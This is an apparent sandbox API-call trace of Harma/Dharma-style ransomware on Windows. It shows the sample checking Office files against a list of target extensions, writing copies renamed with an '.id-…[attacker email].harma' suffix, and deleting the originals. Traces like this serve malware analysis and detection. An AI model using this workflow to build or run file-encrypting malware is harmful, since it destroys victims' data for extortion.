lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0158.685] lstrlenW (lpString=".ppt") returned 4 [0158.685] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.685] lstrlenW (lpString=".zip") returned 4 [0158.685] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString=".rar") returned 4 [0158.685] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString=".bz2") returned 4 [0158.685] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString=".7z") returned 3 [0158.685] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.685] lstrlenW (lpString=".dbf") returned 4 [0158.685] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.685] lstrlenW (lpString=".1cd") returned 4 [0158.685] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0158.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0158.685] lstrlenW (lpString=".jpg") returned 4 [0158.686] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0158.686] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0158.686] lstrlenW (lpString="OUTLLIBR.DLL") returned 12 [0158.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0158.744] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6573424) returned 1 [0158.744] CloseHandle (hObject=0x20c) returned 1 [0158.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll")) returned 0x20 [0158.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.770] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0158.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.770] lstrlenW (lpString=".doc") returned 4 [0158.770] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.770] lstrlenW (lpString=".docx") returned 5 [0158.770] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0158.770] lstrlenW (lpString=".pdf") returned 4 [0158.770] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.770] lstrlenW (lpString=".xls") returned 4 [0158.770] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.770] lstrlenW (lpString=".xlsx") returned 5 [0158.770] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0158.770] lstrlenW (lpString=".ppt") returned 4 [0158.770] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.770] lstrlenW (lpString=".zip") returned 4 [0158.770] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.770] lstrlenW (lpString=".rar") returned 4 [0158.770] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.770] lstrlenW (lpString=".bz2") returned 4 [0158.771] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.771] lstrlenW (lpString=".7z") returned 3 [0158.771] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.771] lstrlenW (lpString=".dbf") returned 4 [0158.771] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.771] lstrlenW (lpString=".1cd") returned 4 [0158.771] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.771] lstrlenW (lpString=".jpg") returned 4 [0158.771] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.771] lstrlenW (lpString=".doc") returned 4 [0158.771] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0158.771] lstrlenW (lpString=".docx") returned 5 [0158.771] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0158.771] lstrlenW (lpString=".pdf") returned 4 [0158.771] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0158.771] lstrlenW (lpString=".xls") returned 4 [0158.771] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0158.771] lstrlenW (lpString=".xlsx") returned 5 [0158.771] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0158.771] lstrlenW (lpString=".ppt") returned 4 [0158.771] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0158.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.771] lstrlenW (lpString=".zip") returned 4 [0158.771] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0158.771] lstrlenW (lpString=".rar") returned 4 [0158.771] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0158.771] lstrlenW (lpString=".bz2") returned 4 [0158.772] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0158.772] lstrlenW (lpString=".7z") returned 3 [0158.772] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.772] lstrlenW (lpString=".dbf") returned 4 [0158.772] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0158.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.772] lstrlenW (lpString=".1cd") returned 4 [0158.772] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0158.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0158.772] lstrlenW (lpString=".jpg") returned 4 [0158.772] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0158.772] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0158.772] lstrlenW (lpString="OUTLLIBR.DLL.IDX_DLL") returned 20 [0158.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.773] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=119680) returned 1 [0158.773] CloseHandle (hObject=0x34c) returned 1 [0158.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 0x20 [0158.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.773] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.773] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0158.774] GetLastError () returned 0x0 [0158.774] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1d380, lpOverlapped=0x0) returned 1 [0158.836] WriteFile (in: hFile=0x210, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1d390, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1d390, lpOverlapped=0x0) returned 1 [0158.839] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.839] WriteFile (in: hFile=0x210, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0158.839] SetEndOfFile (hFile=0x210) returned 1 [0158.839] CloseHandle (hObject=0x210) returned 1 [0158.839] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.839] SetEndOfFile (hFile=0x34c) returned 1 [0158.843] CloseHandle (hObject=0x34c) returned 1 [0158.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll")) returned 1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.845] lstrlenW (lpString=".doc") returned 4 [0158.845] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString=".docx") returned 5 [0158.845] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0158.845] lstrlenW (lpString=".pdf") returned 4 [0158.845] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString=".xls") returned 4 [0158.845] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString=".xlsx") returned 5 [0158.845] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0158.845] lstrlenW (lpString=".ppt") returned 4 [0158.845] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.845] lstrlenW (lpString=".zip") returned 4 [0158.845] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString=".rar") returned 4 [0158.845] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString=".bz2") returned 4 [0158.845] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString=".7z") returned 3 [0158.845] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.845] lstrlenW (lpString=".dbf") returned 4 [0158.845] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.845] lstrlenW (lpString=".1cd") returned 4 [0158.845] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0158.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.846] lstrlenW (lpString=".jpg") returned 4 [0158.846] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.846] lstrlenW (lpString=".doc") returned 4 [0158.846] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString=".docx") returned 5 [0158.846] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0158.846] lstrlenW (lpString=".pdf") returned 4 [0158.846] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString=".xls") returned 4 [0158.846] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString=".xlsx") returned 5 [0158.846] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0158.846] lstrlenW (lpString=".ppt") returned 4 [0158.846] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.846] lstrlenW (lpString=".zip") returned 4 [0158.846] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString=".rar") returned 4 [0158.846] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString=".bz2") returned 4 [0158.846] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString=".7z") returned 3 [0158.846] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0158.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.846] lstrlenW (lpString=".dbf") returned 4 [0158.846] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0158.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.847] lstrlenW (lpString=".1cd") returned 4 [0158.847] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0158.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL") returned 68 [0158.847] lstrlenW (lpString=".jpg") returned 4 [0158.847] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0158.847] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0158.847] lstrlenW (lpString="OUTLOOK.DEV.HXS") returned 15 [0158.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.847] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6988760) returned 1 [0158.848] CloseHandle (hObject=0x34c) returned 1 [0158.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs")) returned 0x20 [0158.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.848] lstrlenW (lpString=".doc") returned 4 [0158.848] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.848] lstrlenW (lpString=".docx") returned 5 [0158.848] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0158.848] lstrlenW (lpString=".pdf") returned 4 [0158.848] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.848] lstrlenW (lpString=".xls") returned 4 [0158.848] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.848] lstrlenW (lpString=".xlsx") returned 5 [0158.848] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0158.848] lstrlenW (lpString=".ppt") returned 4 [0158.848] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.849] lstrlenW (lpString=".zip") returned 4 [0158.849] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.849] lstrlenW (lpString=".rar") returned 4 [0158.849] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.849] lstrlenW (lpString=".bz2") returned 4 [0158.849] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.849] lstrlenW (lpString=".7z") returned 3 [0158.849] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.849] lstrlenW (lpString=".dbf") returned 4 [0158.849] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.849] lstrlenW (lpString=".1cd") returned 4 [0158.849] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.849] lstrlenW (lpString=".jpg") returned 4 [0158.849] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.849] lstrlenW (lpString=".doc") returned 4 [0158.849] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0158.849] lstrlenW (lpString=".docx") returned 5 [0158.849] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0158.849] lstrlenW (lpString=".pdf") returned 4 [0158.849] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0158.849] lstrlenW (lpString=".xls") returned 4 [0158.849] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0158.849] lstrlenW (lpString=".xlsx") returned 5 [0158.849] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0158.850] lstrlenW (lpString=".ppt") returned 4 [0158.850] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0158.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.850] lstrlenW (lpString=".zip") returned 4 [0158.850] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0158.850] lstrlenW (lpString=".rar") returned 4 [0158.850] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0158.850] lstrlenW (lpString=".bz2") returned 4 [0158.850] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0158.850] lstrlenW (lpString=".7z") returned 3 [0158.850] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0158.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.850] lstrlenW (lpString=".dbf") returned 4 [0158.850] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0158.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.850] lstrlenW (lpString=".1cd") returned 4 [0158.850] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0158.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS") returned 63 [0158.850] lstrlenW (lpString=".jpg") returned 4 [0158.850] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0158.850] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0158.850] lstrlenW (lpString="OUTLOOK.DEV_COL.HXC") returned 19 [0158.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.851] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=651) returned 1 [0158.851] CloseHandle (hObject=0x34c) returned 1 [0158.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 0x20 [0158.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.851] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.852] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0158.852] GetLastError () returned 0x0 [0158.852] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x28b, lpOverlapped=0x0) returned 1 [0158.912] WriteFile (in: hFile=0x210, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x290, lpOverlapped=0x0) returned 1 [0158.913] ReadFile (in: hFile=0x34c, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.914] WriteFile (in: hFile=0x210, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0158.914] SetEndOfFile (hFile=0x210) returned 1 [0158.914] CloseHandle (hObject=0x210) returned 1 [0158.914] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.914] SetEndOfFile (hFile=0x34c) returned 1 [0159.506] CloseHandle (hObject=0x34c) returned 1 [0159.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.596] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc")) returned 1 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC") returned 67 [0159.597] lstrlenW (lpString="C:\\Program Files\\Microsoft 